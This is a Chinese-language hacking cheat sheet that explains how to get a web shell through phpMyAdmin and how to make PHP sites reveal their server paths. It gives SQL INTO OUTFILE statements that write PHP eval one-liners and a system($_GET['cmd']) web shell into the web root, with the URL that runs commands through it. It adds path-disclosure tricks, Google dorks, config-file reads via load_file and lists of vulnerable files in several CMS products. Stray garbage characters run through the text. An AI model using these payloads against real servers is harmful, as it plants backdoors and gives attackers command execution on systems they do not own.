phpmyadmin后台拿shell

admin

方法一：
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
一句话连接密码：xiaoma

方法二：
% U7 y. }  g% i0 i6 F Create TABLE xiaoma (xiaoma1 text NOT NULL);
, k! U1 Y& T6 D8 F1 I Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;
- g2 Z9 r. P6 a# U6 e
方法三：

& b/ l9 Q& N& L1 W/ ^3 D6 d读取文件内容：    select load_file('E:/xamp/www/s.php');
4 Y  x4 R# e: w$ r
3 S. m: o/ B7 S2 {& _0 w写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
  @( t3 }1 R7 A$ D7 U
; ?( [& J% n$ }) r" ?3 Ucmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
- u$ v/ \8 W# Z

方法四：
( u/ v/ P. S( z: b6 N select load_file('E:/xamp/www/xiaoma.php');

2 |$ U/ P: V3 Z3 {& o: p select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
! @$ i& N8 U& [/ h; n) K8 o0 U

: x/ i7 \( ?' q1 f' x: B8 E! q

4 }% w5 ?$ A. A  ]
php爆路径方法收集 ：



3 V: w0 n3 t* o- J- E% d
1、单引号爆路径
说明：
8 Y5 q  E: G/ `, a/ O9 e& E( a3 A4 @直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′

  H% {& X4 d( p# T, [9 b1 I2、错误参数值爆路径
说明：
6 A5 v' H5 `  A5 O将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
3 E' Q2 L2 }1 A3 \: o6 d# a2 \
& v' `  d, m) x0 P& M/ k1 \, V3、Google爆路径
$ j7 G' }* c4 `, T2 @$ y3 d说明：
8 R, t- j# v- u, r( o7 E结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
- ?' p9 T& \) n: rSite:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
1 o. A2 h" J3 j. F& {
4、测试文件爆路径
说明：
很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
. r5 A' I9 q0 H# w9 i' Wwww.xxx.com/phpinfo.php
www.xxx.com/php_info.php
: @: m: h/ s( t9 g& H2 I: wwww.xxx.com/1.php

5、phpmyadmin爆路径
& i7 k! e2 e& P. u8 H- L说明：
* h* i) N5 m+ x8 A5 ]8 I一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
. Y# X7 R3 s. w3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
5 C. m! P+ l! M, w$ G1 e9 ]' p6 f8./phpmyadmin/libraries/mcrypt.lib.php

6、配置文件找路径
说明：
如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。

Windows:
7 V" }. [2 `  ^7 Uc:\windows\php.ini                                    php配置文件
+ a0 T  k. [* q7 }. b! v% xc:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件
8 Z8 M% V0 N1 L2 H3 N5 p/ _8 _; o8 P' W
Linux:
/etc/php.ini                                           php配置文件
/etc/httpd/conf.d/php.conf
8 l# q0 Y$ {# M, M* w/etc/httpd/conf/httpd.conf                             Apache配置文件
5 x' h7 F2 T4 f! D/usr/local/apache/conf/httpd.conf
4 Z5 I; o1 r- `6 S7 H* J/usr/local/apache2/conf/httpd.conf
: ]/ O3 _" S0 `1 B+ C4 c/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件
8 K8 W8 b; A8 u8 V! Y1 X9 a( q7 f
8 z# E" e# W+ Q" w- |2 f+ {# e; x7、nginx文件类型错误解析爆路径
说明：
这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
) l6 Z  Y+ z" zhttp://www.xxx.com/top.jpg/x.php
9 e; p* o; B7 Y4 s5 z. g
8 b( ^6 w0 R3 ^9 `/ X$ X8、其他
dedecms
* @6 |9 D+ r, i) f! f5 P; S( ]' o/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
) m# ?; }3 b- Z1 e& Hplus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php
0 @, f4 V" V/ z2 N4 P4 b& d/ y5 v9 |
WP
  f$ x+ h' C0 ?1 `% Swp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
' [$ r0 T) l* S9 `* C% q$ w! t; M5 N
ecshop商城系统暴路径漏洞文件
/api/cron.php
' Q( H2 i& i6 Q" c" W2 V9 y/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
* D$ f& \+ W$ s" ?" k0 F/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
% N) m( a1 S7 ^7 {: l" N: ]; \/temp/compiled/user_clips.dwt.php
9 J; G% a8 E4 w- E( o- J/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
- _( v9 b7 k$ N# z2 \, k/temp/compiled/recommend_promotion.lbi.php
# f% x( g: B! d5 q+ y- P  Q/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
) ]+ T4 P6 K5 J; N/temp/compiled/user_passport.dwt.php
) Y: g9 G4 T4 }8 p6 S; S/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
6 z8 G8 w  |3 G/temp/compiled/admin/page.htm.php
1 J& e( C9 i5 x% n3 R/temp/compiled/admin/start.htm.php
  U2 B+ f9 p+ Y0 `+ n2 r0 I5 u, D/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
9 Q9 i8 i# |4 h6 M/temp/compiled/admin/order_list.htm.php
  J+ S& X0 p* W: s+ Y6 p/temp/compiled/admin/menu.htm.php
1 J4 m( L! A7 X+ i8 h/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
# v$ u" n1 E0 G! d7 M/temp/compiled/admin/goods_list.htm.php
1 R4 ^) Q3 n3 V; u9 X2 b/temp/compiled/admin/pageheader.htm.php
2 _# l: B5 {9 F5 u& m, }$ E( `/temp/compiled/admin/top.htm.php
9 I! O+ s2 x3 X  A% V' A2 ~/temp/compiled/top10.lbi.php
! [8 A7 d7 N5 K2 g9 S+ P1 G3 ]0 r/temp/compiled/member_info.lbi.php
- i% V0 [7 W* u' M, q/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
  C$ ~0 T$ W% W* }: ?/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
8 f0 d, M8 }4 y+ U/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
' G# x/ P6 x$ J$ E/ ?- S/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
' y$ d% J* D% h5 C4 s# i" f/includes/modules/cron/auto_manage.php
& w  ^) M  @2 L( k0 j2 e/ J/includes/modules/cron/ipdel.php

ucenter爆路径
ucenter\control\admin\db.php
6 i! _5 L) V0 Y" x' f
8 ]) K6 A' e  B% z- H/ Y2 a/ j- @DZbbs
* V2 B* R& m; K1 z% _1 z3 V4 zmanyou/admincp.php?my_suffix=%0A%0DTOBY57

, N! z0 i/ B. T" i/ dz-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
5 b7 b; F" G! {5 C7 g! A- D* I& `
php168爆路径
admin/inc/hack/count.php?job=list
1 b) ~5 \+ ^$ xadmin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
cache/MysqlTime.txt
/ M) h* r! z$ v" H
) L2 R8 @3 l8 jPHPcms2008-sp4
' b2 w9 m; X/ [( c, V! a注册用户登陆后访问
. D! H) T* R7 S4 ~+ ?phpcms/corpandresize/process.php?pic=../images/logo.gif

! e- ^# I, c! x( E: T7 Z6 V$ @5 \bo-blog
PoC:
' r+ L+ ^& T+ @( g/go.php/<[evil code]
CMSeasy爆网站路径漏洞
3 W. P3 d4 v# J) Z# A漏洞出现在menu_top.php这个文件中
3 s7 P* G5 o7 B% Q" m. clib/mods/celive/menu_top.php
" u* @) @0 k" X; C, i/lib/default/ballot_act.php
lib/default/special_act.php